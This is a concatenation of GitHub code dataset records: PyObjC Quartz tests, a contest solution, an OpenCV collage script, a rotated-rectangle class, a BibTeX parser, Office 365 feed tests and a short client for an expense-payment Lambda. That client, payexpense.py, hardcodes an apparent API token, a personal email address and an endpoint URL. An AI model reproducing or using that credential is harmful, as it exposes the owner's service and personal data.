\"CGPDFContextClose\"):\n Quartz.CGPDFContextClose(context)\n if os.path.exists(\"/tmp/pyobjc.test.pdf\"):\n os.unlink(\"/tmp/pyobjc.test.pdf\")\n\n # Drawing is done, check that the shading function is actually used\n self.assertNotEqual(len(values), 0)\n for item in values:\n self.assertIsInstance(item, tuple)\n self.assertEqual(len(item), 1)\n self.assertIsInstance(item[0], float)\n\n del func\n","repo_name":"ronaldoussoren/pyobjc","sub_path":"pyobjc-framework-Quartz/PyObjCTest/test_cgfunction.py","file_name":"test_cgfunction.py","file_ext":"py","file_size_in_byte":2085,"program_lang":"python","lang":"en","doc_type":"code","stars":439,"dataset":"github-code","pt":"69"} +{"seq_id":"42590707227","text":"\nfrom math import *\n\n#in terminal use cat and pipe operator while compiling to feed input\nx= input().split()\nN = int(x[0])\nP = int(x[1])\nM = int(x[2])\nG=[]\nH=[]\nmini = 0\nC =[]\nfor i in range(N):\n x =(list([int(u) for u in input().split()]))\n H.append(x[0])\n G.append(x[1])\n C.append((floor((M-x[0])/x[1])+1) if(floor((M-x[0])/x[1])+1>0) else 0)\n #H[-1] = H[-1] + C[-1]*G[-1]\n#print(H,G,C)\nzipped = zip(C,H,G)\n#print(min(C))\nZ = [list(i) for i in list(sorted(zipped))]\nprint(Z[:10])\nprofit = 0\ncount = 0\n\ndays = Z[0][0]\nj =0\n\n#the code in the 2 while loops below provides an uper and lower bound on thefinal step\n#the last while loop calculates the accurate value\nwhile(profit<P and j<N-1):\n temp =[]\n profit = 0\n while(Z[j][0] == days):\n j = j+1\n \n for i in range(j):\n temp.append(Z[i][1]+days * Z[i][2])\n print(sum(temp))\n profit = sum(temp)\n print(j,days)\n days = Z[j][0]\n\nk = Z[j-1][0] \nprint(k)\nwhile(profit<P):\n temp = []\n for i in Z:\n temp.append(i[1]+k*i[2])\n profit = sum(temp)\n print(temp,k)\n k = k+1 \n#the values below were obtained from the estimates calculated above.I am lazy :)\nprofit =0\nday = 110733388\n\nwhile(profit<P and day<110764174):\n day = day+1\n temp =[]\n for i in range(950):\n if(Z[i][0]<=day):\n temp.append(Z[i][1]+Z[i][2]*day)\n profit = sum(temp)\n print(day,profit)\n\n\n\n\n\n \n \n\n\n\n \n\n\n\n\n\n\n","repo_name":"ArchitWagle/tsec_code_cell","sub_path":"solution3_3.py","file_name":"solution3_3.py","file_ext":"py","file_size_in_byte":1444,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"69"} +{"seq_id":"28690105329","text":"#!/usr/bin/env python\r\n# coding: utf-8\r\n\r\n\r\n\r\nimport matplotlib.pyplot as plt\r\nimport cv2\r\nimport numpy as np\r\nimport pandas as pd\r\n\r\nbottom_left = cv2.imread('Dataset/bottom_left.jpg')\r\nrgb_bottom_left = cv2.cvtColor(bottom_left, cv2.COLOR_BGR2RGB)\r\n\r\nbottom_right = cv2.imread('Dataset/bottom_right.jpg')\r\nrgb_bottom_right = cv2.cvtColor(bottom_right, cv2.COLOR_BGR2RGB)\r\n\r\ncenter = cv2.imread('Dataset/center.jpeg')\r\nrgb_center = cv2.cvtColor(center, cv2.COLOR_BGR2RGB)\r\n\r\ntop_left = cv2.imread('Dataset/top_left.jpg')\r\nrgb_top_left = cv2.cvtColor(top_left, cv2.COLOR_BGR2RGB)\r\n\r\ntop_right = cv2.imread('Dataset/top_right.jpg')\r\nrgb_top_right = cv2.cvtColor(top_right, cv2.COLOR_BGR2RGB)\r\n\r\n\r\n\r\n# for rgb_bottom_left\r\nprint(rgb_bottom_left.shape)\r\nplt.imshow(rgb_bottom_left)\r\n\r\n# for rgb_bottom_right\r\nprint(rgb_bottom_right.shape)\r\nplt.imshow(rgb_bottom_right)\r\n\r\n# for rgb_center\r\nprint(rgb_center.shape)\r\nplt.imshow(rgb_center)\r\n\r\n# for rgb_top_left\r\nprint(rgb_top_left.shape)\r\nplt.imshow(rgb_top_left)\r\n\r\n# for rgb_top_right\r\nprint(rgb_top_right.shape)\r\nplt.imshow(rgb_top_right)\r\n\r\nplt.axis(\"off\")\r\n\r\ncrop_rgb_bottom_left = cv2.resize(rgb_bottom_left, (200,200))\r\nplt.imshow(crop_rgb_bottom_left)\r\n\r\ncrop_rgb_bottom_right = cv2.resize(rgb_bottom_right, (200,200))\r\nplt.imshow(crop_rgb_bottom_right)\r\n\r\ncrop_rgb_center = cv2.resize(rgb_center, (100,100))\r\nplt.imshow(crop_rgb_center)\r\n\r\ncrop_rgb_top_left = cv2.resize(rgb_top_left, (200,200))\r\nplt.imshow(crop_rgb_top_left)\r\n\r\ncrop_rgb_top_right = cv2.resize(rgb_top_right, (200,200))\r\nplt.imshow(crop_rgb_top_right)\r\n\r\nblank_image = np.zeros(shape=[430,430,3], dtype=np.uint8)\r\n\r\nblank_image[10:210, 10:210,:] = crop_rgb_top_left\r\n\r\nblank_image[220:420, 10:210,:] = crop_rgb_bottom_left\r\n\r\nblank_image[10:210, 220:420,:] = crop_rgb_top_right\r\n\r\nblank_image[220:420, 220:420,:] = crop_rgb_bottom_right\r\n\r\nblank_image_center = np.zeros(shape=[120,120,3], dtype=np.uint8)\r\nblank_image_center[10:110, 10:110,:] = crop_rgb_center\r\n\r\nblank_image[155:275, 155:275,:] = blank_image_center\r\n\r\nplt.imshow(blank_image)\r\nplt.axis(\"off\")\r\nplt.show()\r\n\r\n\r\n# shape of image\r\n#blank_image.shape\r\n\r\n# convert image to array\r\narray = np.array(blank_image)\r\n\r\narray = array.reshape(430*430,3)\r\n\r\n# np.savetxt('abc.csv',array,fmt=\"%d\",header=\"r,g,b\")\r\n\r\n\r\npokemons = {\r\n \"r\":array[:,0],\r\n \"g\":array[:,1],\r\n \"b\":array[:,2]\r\n }\r\n\r\ndf = pd.DataFrame(pokemons)\r\n\r\ndf.to_csv('pokemon_data.csv', index=False)\r\n","repo_name":"leoengufmg/Machine-Learning","sub_path":"Proj1-Instagram Style Photo Collage/InstagramStylePhotoCollage.py","file_name":"InstagramStylePhotoCollage.py","file_ext":"py","file_size_in_byte":2455,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"69"} +{"seq_id":"17659666177","text":"import numpy as np\nimport cv2\n\nclass RRect:\n def __init__(self, top_left, s, ang):\n self.top_left = (int(top_left[0]),int(top_left[1]))\n (self.W, self.H) = s\n self.ang = ang\n self.bottom_left,self.bottom_right,self.top_right = self.get_verts(top_left,s[0],s[1],ang)\n self.verts = [self.top_left,self.bottom_left,self.bottom_right,self.top_right]\n\n def get_verts(self, top_left, W, H, ang):\n sin = np.sin(ang/180*3.14159)\n cos = np.cos(ang/180*3.14159)\n bottom_left = (int(self.H*sin)+top_left[0],int(self.H*cos)+top_left[1])\n bottom_right = (int(self.W*cos)+bottom_left[0],int(-self.W*sin)+bottom_left[1])\n top_right = (int(self.W*cos)+top_left[0],int(-self.W*sin)+top_left[1])\n return [bottom_left,bottom_right,top_right]\n\n def draw(self, image):\n print(self.verts)\n for i in range(len(self.verts)-1):\n cv2.line(image, (self.verts[i][0], self.verts[i][1]), (self.verts[i+1][0],self.verts[i+1][1]), (0,255,0), 2)\n cv2.line(image, (self.verts[3][0], self.verts[3][1]), (self.verts[0][0], self.verts[0][1]), (0,255,0), 2)\n\n def to_contour(self):\n return np.array([\n [self.top_left],\n [self.bottom_left],\n [self.bottom_right],\n [self.top_right]]\n )\n \n def to_rect_tuple(self):\n return (self.top_left[0], self.top_left[1], self.bottom_right[0], self.bottom_right[1])\n\n def cv2_min_area_rect(self):\n return cv2.minAreaRect(self.to_contour())\n \n def cv2_box_points(self):\n return cv2.boxPoints(self.cv2_min_area_rect())\n\n def center(self):\n return self.cv2_min_area_rect()[0]\n\n def extend_bottom_by(self, amount):\n self.bottom_left = (self.bottom_left[0], self.bottom_left[1] + amount)\n self.bottom_right = (self.bottom_right[0], self.bottom_right[1] + amount)\n\n def extend_right_by(self, amount):\n self.top_right = (self.top_right[0]+ amount, self.top_right[1])\n self.bottom_right = (self.bottom_right[0]+ amount, self.bottom_right[1])\n\n def rect_rotate(self, rect, angle=None):\n \n if angle is None:\n angle = rect[2]\n rad = np.deg2rad(np.abs(angle))\n rot_matrix_2d = np.array([[np.cos(rad), np.sin(rad)],\n [np.sin(rad), np.cos(rad)]])\n\n # cal. center of rectangle\n center = np.sum(np.array(rect[1]).reshape(1, -1) * rot_matrix_2d, axis=-1) * .5\n center = np.abs(center)\n\n return tuple(center), rect[1], angle\n\n def crop_ticket(self, rect, image):\n # Get center, size, and angle from rect\n shape = (image.shape[1], image.shape[0]) # cv2.warpAffine expects shape in (length, height)\n center, size, theta = rect\n width, height = tuple(map(int, size))\n center = tuple(map(int, center))\n\n if width < height:\n theta -= 90\n width, height = height, width\n\n matrix = cv2.getRotationMatrix2D(center=center, angle=-theta, scale=1.0)\n timage = cv2.warpAffine(src=image, M=matrix, dsize=shape)\n\n x = int(center[0] - width // 2)\n y = int(center[1] - height // 2)\n\n return timage[y-5 : y + height, x-10 : x + width+5]\n\n def crop_image(self, image):\n # Get perspective transform and apply it\n W = self.W\n H = self.H\n #r = self.rect_rotate(s, self.ang)\n result = self.crop_ticket(self.cv2_min_area_rect(), image)\n # exit(0)\n return result\n # def topleft_corner(self):\n # return (self.top_left[0], self.top_left[1])","repo_name":"jjensn/kens-lotto-numbers","sub_path":"rotrect.py","file_name":"rotrect.py","file_ext":"py","file_size_in_byte":3366,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"69"} +{"seq_id":"11803186480","text":"#!/usr/bin/python3\n\nimport json\nimport requests\n\ndef grab_json_from_url(url: str) -> json:\n headers = {'token': 'zpdkwA.2_kLU@zg'}\n body = {'expense_id': \"6425f5ad28be96e2fbaf784e\",\n 'email': 'rrittner@purdue.edu',\n 'amount': 10}\n resp = requests.post(url, headers=headers, json=body)\n return resp.json()\n\ndef main():\n my_json = grab_json_from_url('https://q6dj43wfjfvztvxbhdyqogvn2y0gfcro.lambda-url.us-east-2.on.aws/')\n print(my_json)\n\nmain()","repo_name":"BillMates-CS307/BillMates-backend","sub_path":"lambda/testing/client/payexpense.py","file_name":"payexpense.py","file_ext":"py","file_size_in_byte":484,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"69"} +{"seq_id":"3328451823","text":"import sys\r\nfrom lib import timed_run\r\n\r\n\r\n@timed_run\r\ndef read_input():\r\n lines = list()\r\n for line in sys.stdin:\r\n lines.append(tuple(int(x) for x in line.strip()))\r\n return lines\r\n\r\n\r\ndef dijkstra(graph):\r\n distance_from_start = dict()\r\n distance_from_start[(0, 0)] = 0\r\n optimized = set()\r\n\r\n max_r, max_c = len(graph), len(graph[0])\r\n\r\n end = (max_r - 1, max_c - 1)\r\n while end not in optimized:\r\n min_coord = find_min_coord(distance_from_start, optimized)\r\n optimized.add(min_coord)\r\n update_neighbors(min_coord, distance_from_start, graph, max_r, max_c)\r\n\r\n return distance_from_start[end]\r\n\r\n\r\ndef find_min_coord(distances, optimized):\r\n minimum_coord = None\r\n for key, value in distances.items():\r\n if key in optimized:\r\n continue\r\n if not minimum_coord:\r\n minimum_coord, minimum_value = key, value\r\n elif value < minimum_value:\r\n minimum_coord, minimum_value = key, value\r\n return minimum_coord\r\n\r\n\r\ndef update_neighbors(coord, distance_from_start, graph, max_r, max_c):\r\n r, c = coord\r\n coord_dist = distance_from_start[coord]\r\n for r_, c_ in ((r, c - 1), (r, c + 1), (r - 1, c), (r + 1, c)):\r\n if -1 < r_ < max_r and -1 < c_ < max_c:\r\n neighbor_dist = distance_from_start.get((r_, c_))\r\n neighbor_through_coord = coord_dist + graph[r_][c_]\r\n if neighbor_dist is None or neighbor_dist > neighbor_through_coord:\r\n distance_from_start[(r_, c_)] = neighbor_through_coord\r\n\r\n\r\n@timed_run\r\ndef solve(graph):\r\n return dijkstra(graph)\r\n\r\n\r\nif __name__ == '__main__':\r\n print(solve(read_input()))\r\n","repo_name":"heidecjj/advent-of-code-2021","sub_path":"day15/part1.py","file_name":"part1.py","file_ext":"py","file_size_in_byte":1692,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"69"} +{"seq_id":"12218987779","text":"#1e - debugging\n#coding exercise: shopping\n\nmeatPrice = 4.00\nmeatTax = 0.03 * meatPrice\nmilkPrice = 2.00\nmilkTax = 0.03 * milkPrice\nprint(meatTax + meatPrice + milkTax + milkPrice)\n\n# you can of course also do this less verbosely like so\n\ntotal = 4.00 + 2.00\t# add milk and meat prices\ntax = total * 0.03 \t# get the tax \nprint(total + tax)","repo_name":"syncopika/some-cscircles-solutions","sub_path":"chap1/shopping.py","file_name":"shopping.py","file_ext":"py","file_size_in_byte":339,"program_lang":"python","lang":"en","doc_type":"code","stars":10,"dataset":"github-code","pt":"69"} +{"seq_id":"14313521377","text":"\"\"\"Parser and representation for BibTeX .bib databases.\n\nThis parser is derived directly from the WEB source code for BibTeX --\nespecially section \"Reading the database file(s)\" -- and hence\n(barring bugs in translation) should be fully compatible with BibTeX's\nown parser.\n\"\"\"\n\n__all__ = 'Parser Entry FieldError resolve_crossrefs'.split()\n\nimport sys\nimport re\nimport collections\nimport textwrap\n\nfrom . import messages\n\n# Match sequences of legal identifier characters, except that the\n# first is not allowed to be a digit (see id_class)\nID_RE = re.compile('(?![0-9])(?:(?![ \\t\"#%\\'(),={}])[\\x20-\\x7f])+')\n# BibTeX only considers space, tab, and newline to be white space (see\n# lex_class)\nSPACE_RE = re.compile('[ \\t\\n]*')\n\nclass ParseError(Exception):\n pass\n\nclass Parser:\n \"\"\"A parser for .bib BibTeX database files.\"\"\"\n\n def __init__(self, *, month_style='full'):\n \"\"\"Initialize an empty database.\n\n This also initializes standard month macros (which are usually\n provided by the style file). month_style may be 'full' to get\n full names, 'abbrv' to get abbrv.bst-style abbreviated names,\n or None to not initialize month macros.\n\n The database should be populated by calling parse one or more\n times. The final contents of the database can be retrieved by\n calling finalize.\n \"\"\"\n\n self.__log, self.__errors = [], False\n self.__entries = collections.OrderedDict()\n\n if month_style == 'full':\n self.__macros = {'jan': 'January', 'feb': 'February',\n 'mar': 'March', 'apr': 'April',\n 'may': 'May', 'jun': 'June',\n 'jul': 'July', 'aug': 'August',\n 'sep': 'September', 'oct': 'October',\n 'nov': 'November', 'dec': 'December'}\n elif month_style == 'abbrv':\n self.__macros = {'jan': 'Jan.', 'feb': 'Feb.',\n 'mar': 'Mar.', 'apr': 'Apr.',\n 'may': 'May', 'jun': 'June',\n 'jul': 'July', 'aug': 'Aug.',\n 'sep': 'Sept.', 'oct': 'Oct.',\n 'nov': 'Nov.', 'dec': 'Dec.'}\n elif month_style == None:\n self.__macros = {}\n else:\n raise ValueError('Unknown month style {}'.format(month_style))\n\n def string(self, name, value):\n \"\"\"Declare a macro, just like an @string command.\"\"\"\n self.__macros[name] = value\n\n def parse(self, str_or_fp_or_iter, name=None, *, log_fp=None):\n \"\"\"Parse the contents of str_or_fp_or_iter and return self.\n\n str_or_fp_or_iter must be a string, a file-like object, or an\n iterable of string or file-like objects to parse in\n succession. If name is not None, it is used as the file name.\n Otherwise, a name is constructed in a type-appropriate way.\n\n If log_fp is not None, it must be a file-local object to which\n warnings and InputErrors will be logged. This logger will be\n attached to all Pos instances created from the file being\n parsed, so any warnings or InputErrors raised from later\n operations on derived objects (like entries or field values)\n will also be logged to log_fp.\n\n If there are any errors in the input, raises a (potentially\n bundled) InputError.\n\n Parse can be called multiple times to parse subsequent .bib\n files. Later files will have access to, for example, strings\n defined in earlier files.\n \"\"\"\n\n recoverer = messages.InputErrorRecoverer()\n if isinstance(str_or_fp_or_iter, str):\n self.__data = str_or_fp_or_iter\n fname = name or '<string>'\n elif isinstance(str_or_fp_or_iter, collections.Iterable) and \\\n not hasattr(str_or_fp_or_iter, 'read'):\n for obj in str_or_fp_or_iter:\n with recoverer:\n self.parse(obj, name=name, log_fp=log_fp)\n recoverer.reraise()\n return self\n else:\n self.__data = str_or_fp_or_iter.read()\n try:\n fname = name or str_or_fp_or_iter.name\n except AttributeError:\n fname = '<unknown>'\n self.__off = 0\n\n # Remove trailing whitespace from lines in data (see input_ln\n # in bibtex.web)\n self.__data = re.sub('[ \\t]+$', '', self.__data, flags=re.MULTILINE)\n self.__pos_factory = messages.PosFactory(fname, self.__data, log_fp)\n\n # Parse entries\n while self.__off < len(self.__data):\n # Just continue to the next entry if there's an error\n with recoverer:\n self._scan_command_or_entry()\n recoverer.reraise()\n return self\n\n def get_entries(self):\n \"\"\"Return the entry database.\n\n The database is an ordered dictionary mapping from lower-cased\n keys to Entry objects.\n \"\"\"\n return self.__entries\n\n def _fail(self, msg, off=None):\n if off is None:\n off = self.__off\n self.__pos_factory.offset_to_pos(off).raise_error(msg)\n\n def _warn(self, msg, off=None):\n if off is None:\n off = self.__off\n self.__pos_factory.offset_to_pos(off).warn(msg)\n\n # Base parsers. These are the only methods that directly\n # manipulate self.__data.\n\n def _try_tok(self, regexp, skip_space=True):\n \"\"\"Scan regexp followed by white space.\n\n Returns the matched text, or None if the match failed.\"\"\"\n if isinstance(regexp, str):\n regexp = re.compile(regexp)\n m = regexp.match(self.__data, self.__off)\n if m is None:\n return None\n self.__off = m.end()\n if skip_space:\n self._skip_space()\n return m.group(0)\n\n def _scan_balanced_text(self, term):\n \"\"\"Scan brace-balanced text terminated with character term.\"\"\"\n start, level = self.__off, 0\n while self.__off < len(self.__data):\n char = self.__data[self.__off]\n if level == 0 and char == term:\n text = self.__data[start:self.__off]\n self.__off += 1\n self._skip_space()\n return text\n elif char == '{':\n level += 1\n elif char == '}':\n level -= 1\n if level < 0:\n self._fail('unexpected }')\n self.__off += 1\n self._fail('unterminated string')\n\n def _skip_space(self):\n # This is equivalent to eat_bib_white_space, except that we do\n # it automatically after every token, whereas bibtex carefully\n # and explicitly does it between every token.\n self.__off = SPACE_RE.match(self.__data, self.__off).end()\n\n # Helpers\n\n def _tok(self, regexp, fail=None):\n \"\"\"Scan token regexp or fail with the given message.\"\"\"\n res = self._try_tok(regexp)\n if res is None:\n assert fail\n self._fail(fail)\n return res\n\n # Productions\n\n def _scan_identifier(self):\n return self._tok(ID_RE, 'expected identifier')\n\n def _scan_command_or_entry(self):\n # See get_bib_command_or_entry_and_process\n\n # Skip to the next database entry or command\n self._tok('[^@]*')\n pos = self.__pos_factory.offset_to_pos(self.__off)\n if not self._try_tok('@'):\n return None\n\n # Scan command or entry type\n typ = self._scan_identifier().lower()\n\n if typ == 'comment':\n # Believe it or not, BibTeX doesn't do anything with what\n # comes after an @comment, treating it like any other\n # inter-entry noise.\n return None\n\n left = self._tok('[{(]', 'expected { or ( after entry type')\n right, right_re = (')', '\\\\)') if left == '(' else ('}', '}')\n\n if typ == 'preamble':\n # Parse the preamble, but ignore it\n self._scan_field_value()\n self._tok(right_re, 'expected '+right)\n return None\n\n if typ == 'string':\n name = self._scan_identifier().lower()\n if name in self.__macros:\n self._warn('macro `{}\\' redefined'.format(name))\n self._tok('=', 'expected = after string name')\n value = self._scan_field_value()\n self._tok(right_re, 'expected '+right)\n self.__macros[name] = value\n return None\n\n # Not a command, must be a database entry\n\n # Scan the entry's database key\n if left == '(':\n # The database key is anything up to a comma, white\n # space, or end-of-line (yes, the key can be empty,\n # and it can include a close paren)\n key = self._tok('[^, \\t\\n]*')\n else:\n # The database key is anything up to comma, white\n # space, right brace, or end-of-line\n key = self._tok('[^, \\t}\\n]*')\n\n # Scan entries (starting with comma or close after key)\n fields = []\n field_pos = {}\n while True:\n if self._try_tok(right_re):\n break\n self._tok(',', 'expected {} or ,'.format(right))\n if self._try_tok(right_re):\n break\n\n # Scan field name and value\n field_off = self.__off\n field = self._scan_identifier().lower()\n self._tok('=', 'expected = after field name')\n value = self._scan_field_value()\n\n if field in field_pos:\n pos.warn('repeated field `{}\\''.format(field))\n continue\n\n fields.append((field, value))\n field_pos[field] = self.__pos_factory.offset_to_pos(field_off)\n\n if key.lower() in self.__entries:\n self._fail('repeated entry')\n self.__entries[key.lower()] = Entry(fields, typ, key, pos, field_pos)\n\n def _scan_field_value(self):\n # See scan_and_store_the_field_value_and_eat_white\n value = self._scan_field_piece()\n while self._try_tok('#'):\n value += self._scan_field_piece()\n # Compress spaces in the text. Bibtex does this\n # (painstakingly) as it goes, but the final effect is the same\n # (see check_for_and_compress_bib_white_space).\n value = re.sub('[ \\t\\n]+', ' ', value)\n # Strip leading and trailing space (literally just space, see\n # @<Store the field value string@>)\n return value.strip(' ')\n\n def _scan_field_piece(self):\n # See scan_a_field_token_and_eat_white\n piece = self._try_tok('[0-9]+')\n if piece is not None:\n return piece\n if self._try_tok('{', skip_space=False):\n return self._scan_balanced_text('}')\n if self._try_tok('\"', skip_space=False):\n return self._scan_balanced_text('\"')\n opos = self.__off\n piece = self._try_tok(ID_RE)\n if piece is not None:\n if piece.lower() not in self.__macros:\n self._warn('unknown macro `{}\\''.format(piece), opos)\n return ''\n return self.__macros[piece.lower()]\n self._fail('expected string, number, or macro name')\n\nclass FieldError(KeyError):\n def __init__(self, field, entry=None):\n super().__init__(field)\n self.__entry = entry\n\n def __str__(self):\n return '{}: missing field `{}\\''.format(self.__entry, self.args[0])\n\nMONTH_MACROS = 'jan feb mar apr may jun jul aug sep oct nov dec'.split()\n\nclass Entry(collections.OrderedDict):\n \"\"\"An entry in a BibTeX database.\n\n This is an ordered dictionary of fields, plus some additional\n properties: typ gives the type of the entry, such as \"journal\",\n canonicalized to lower case. key gives the database entry key\n (case is preserved, but should be ignored for comparisons). pos\n is a messages.Pos instance giving the position of this entry in\n the database file. field_pos is a simple dictionary from field\n names to message.Pos instances.\n\n Field values are as they would be seen by a .bst file: white space\n is cleaned up, but they retain macros, BibTeX-style accents, etc.\n Use algo.tex_to_unicode to interpret field values to user-friendly\n Unicode strings.\n \"\"\"\n\n def __init__(self, fields=[], typ=None, key=None, pos=None, field_pos=None):\n super().__init__(fields)\n self.typ, self.key, self.pos, self.field_pos = typ, key, pos, field_pos\n\n def copy(self):\n return self.__class__(self, self.typ, self.key, self.pos, self.field_pos)\n\n def __str__(self):\n return '`{}\\' at {}'.format(self.key, self.pos)\n\n def __getitem__(self, field):\n try:\n return super().__getitem__(field)\n except KeyError:\n raise FieldError(field, self) from None\n\n def __eq__(self, o):\n \"\"\"Two Entries are equal if they have the same fields, type, and key.\"\"\"\n return super().__eq__(o) and self.typ == o.typ and self.key == o.key\n\n def to_bib(self, *, month_to_macro=True, wrap_width=70):\n \"\"\"Return this entry formatted as a BibTeX .bib entry.\n\n If month_to_macro is True, attempt to parse month names and\n replace them with their standard macro.\n\n If wrap_width is not None, word wrap the entry at this many\n columns (long words and hyphens are not split).\n \"\"\"\n\n lines = ['@%s{%s,' % (self.typ, self.key)]\n for k, v in self.items():\n start = ' {:12} = '.format(k)\n\n if month_to_macro and k == 'month':\n try:\n macro = MONTH_MACROS[self.month_num() - 1]\n except messages.InputError:\n pass\n else:\n lines.append(start + macro + ',')\n continue\n\n if v.isdigit():\n lines.append(start + v + ',')\n elif wrap_width is None:\n lines.append(start + '{' + v + '},')\n else:\n lines.append(textwrap.fill(\n v, width=wrap_width,\n # Keep whitespace formatting as it is\n expand_tabs=False, replace_whitespace=False,\n # Don't break long things like URLs\n break_long_words=False, break_on_hyphens=False,\n initial_indent=start + '{', subsequent_indent=' ') + '},')\n lines.append('}')\n return '\\n'.join(lines)\n\n def resolve_crossref(self, entries):\n \"\"\"Return a new entry with crossref-ed fields incorporated.\n\n entries must be the database in which to find any crossref-ed\n database entries.\n \"\"\"\n if 'crossref' not in self:\n return self\n nentry = self.copy()\n source = entries[self['crossref'].lower()]\n if 'crossref' in source:\n self.field_pos['crossref'].warn('nested crossref')\n for k, v in source.items():\n if k not in nentry:\n nentry[k] = v\n nentry.field_pos[k] = source.field_pos[k]\n del nentry['crossref']\n return nentry\n\n def date_key(self):\n \"\"\"Return a sort key appropriate for sorting by date.\n\n Returns a tuple ([year, [month]]) where year and month are\n numeric. Raises InputError if the entry has year and/or month\n fields, but they are malformed.\n \"\"\"\n\n key = ()\n year, month = self.get('year'), self.get('month')\n if year is not None:\n if not year.isdigit():\n self.field_pos['year'].raise_error(\n 'invalid year `{}\\''.format(year))\n key += (int(year),)\n if month is not None:\n if year is None:\n self.field_pos['month'].raise_error('month without year')\n key += (self.month_num(),)\n return key\n\n def authors(self, field='author'):\n \"\"\"Return a list of parsed author names.\n\n This is a wrapper for biblib.algo.parse_names.\n \"\"\"\n from .algo import parse_names\n return parse_names(self[field], self.field_pos[field])\n\n def month_num(self, field='month'):\n \"\"\"Convert the month of this entry into a number in [1,12].\n\n This is a wrapper for biblib.algo.parse_month (which see).\n\n Raises KeyError if this entry does not have the specified\n field and InputError if the field cannot be parsed.\n \"\"\"\n from .algo import parse_month\n return parse_month(self[field], pos=self.field_pos[field])\n\ndef resolve_crossrefs(db, min_crossrefs=None):\n \"\"\"Resolve cross-referenced entries in db.\n\n This returns a new database containing the same entries in the\n same order as db, but any entries that crossref another entry are\n expanded with the fields for the cross-referenced entry.\n\n If min_crossrefs is not None, then any entry that is\n cross-referenced by min_crossrefs or more other entries will *not*\n be expanded and entries that cross-reference it will retain their\n crossref field. If min_crossrefs is None, entries are always\n expanded. (This mimics BibTeX \"-min-crossrefs\" option.)\n\n If there are unknown crossrefs, raises a (potentially bundled)\n InputError.\n \"\"\"\n if min_crossrefs is not None:\n counts = collections.Counter(entry['crossref'].lower()\n for entry in db.values()\n if 'crossref' in entry)\n else:\n counts = None\n\n key_idx = {k: i for i, k in enumerate(db)}\n recoverer = messages.InputErrorRecoverer()\n ndb = collections.OrderedDict()\n for entry_idx, (key, entry) in enumerate(db.items()):\n crossref = entry.get('crossref')\n if crossref is None:\n ndb[key] = entry\n else:\n with recoverer:\n crossref_idx = key_idx.get(crossref.lower())\n if crossref_idx is None:\n entry.field_pos['crossref'].raise_error(\n 'unknown crossref `{}\\''.format(crossref))\n elif crossref_idx < entry_idx:\n entry.field_pos['crossref'].raise_error(\n 'crossref `{}\\' must come after entry'.format(crossref))\n elif counts and counts[crossref.lower()] >= min_crossrefs:\n ndb[key] = entry\n else:\n ndb[key] = entry.resolve_crossref(db)\n recoverer.reraise()\n return ndb\n","repo_name":"tesserai/tfi","sub_path":"src/tfi/parse/biblib/bib.py","file_name":"bib.py","file_ext":"py","file_size_in_byte":18670,"program_lang":"python","lang":"en","doc_type":"code","stars":153,"dataset":"github-code","pt":"69"} +{"seq_id":"789882680","text":"import pytest\nimport requests_mock\n\nfrom FeedOffice365 import Client, get_indicators_command, fetch_indicators_command, build_region_list, ALL_REGIONS_LIST\nfrom test_data.feed_data import RESPONSE_DATA\n\n\ndef test_fetch_indicators_command():\n with requests_mock.Mocker() as mock:\n url_dict = {\n \"FeedURL\": 'https://endpoints.office.com/endpoints/worldwide',\n \"Region\": 'Worldwide',\n \"Service\": 'Any'\n }\n mock.get(url_dict.get('FeedURL'), json=RESPONSE_DATA)\n client = Client([url_dict])\n indicators = fetch_indicators_command(client)\n assert len(indicators) == 10\n\n\n@pytest.mark.parametrize('command, args, response, length', [\n (get_indicators_command, {'limit': 2, 'indicator_type': 'IPs'}, RESPONSE_DATA, 4),\n (get_indicators_command, {'limit': 2, 'indicator_type': 'URLs'}, RESPONSE_DATA, 6),\n (get_indicators_command, {'limit': 3, 'indicator_type': 'Both'}, RESPONSE_DATA, 10)\n]) # noqa: E124\ndef test_commands(command, args, response, length, mocker):\n url_dict = {\n \"FeedURL\": 'https://endpoints.office.com/endpoints/worldwide',\n \"Region\": 'Worldwide',\n \"Service\": 'Any'\n }\n client = Client(urls_list=[url_dict], insecure=False)\n mocker.patch.object(client, 'build_iterator', return_value=response)\n human_readable, indicators_ec, raw_json = command(client, args)\n indicators = raw_json.get('raw_response')\n assert len(indicators) == length\n for indicator_json in indicators:\n indicator_val = indicator_json.get('value')\n indicator_type = indicator_json.get('type')\n assert indicator_val\n if indicator_type == 'Domain':\n assert args.get('indicator_type') != 'IPs'\n elif indicator_type == 'DomainGlob':\n assert args.get('indicator_type') != 'IPs'\n else: # ip\n assert args.get('indicator_type') != 'URLs'\n\n\nclass TestFeedTags:\n urls = [{\n \"FeedURL\": 'https://endpoints.office.com/endpoints/worldwide',\n \"Region\": 'Worldwide',\n \"Service\": 'Any'\n }]\n\n @pytest.mark.parametrize('tags', [['tag1', 'tag2'], []])\n def test_feed_tags(self, mocker, tags):\n \"\"\"\n Given:\n - tags parameters\n When:\n - Executing any command on feed\n Then:\n - Validate the tags supplied exists in the indicators\n \"\"\"\n client = Client(self.urls, False, tags)\n mocker.patch.object(client, 'build_iterator', return_value=RESPONSE_DATA)\n _, _, raw_json = get_indicators_command(client, {'limit': 2, 'indicator_type': 'IPs'})\n assert tags == raw_json.get('raw_response')[0]['fields']['tags']\n\n\n@pytest.mark.parametrize('config_region_list, response', [\n (['All'], ALL_REGIONS_LIST),\n (['All', 'my_region'], ALL_REGIONS_LIST + ['my_region']),\n (['my_region'], ['my_region'])\n]) # noqa: E124\ndef test_build_region_list(config_region_list, response):\n \"\"\"\n Given:\n - region lists provided by configurations\n When:\n - building the region list with build_region_list()\n Then:\n - Formatted region list will be returned:\n in cases 'All' item is in the config list,\n the returned region list will include 'ALL_REGIONS_LIST', and 'All' will be removed.\n \"\"\"\n region_list = build_region_list(config_region_list)\n region_list.sort()\n response.sort()\n assert region_list == response\n","repo_name":"IsaFG/demisto-mirror","sub_path":"Packs/FeedOffice365/Integrations/FeedOffice365/FeedOffice365_test.py","file_name":"FeedOffice365_test.py","file_ext":"py","file_size_in_byte":3426,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"69"} +{"seq_id":"7029754577","text":"#!/usr/bin/python\n\nfrom flask import 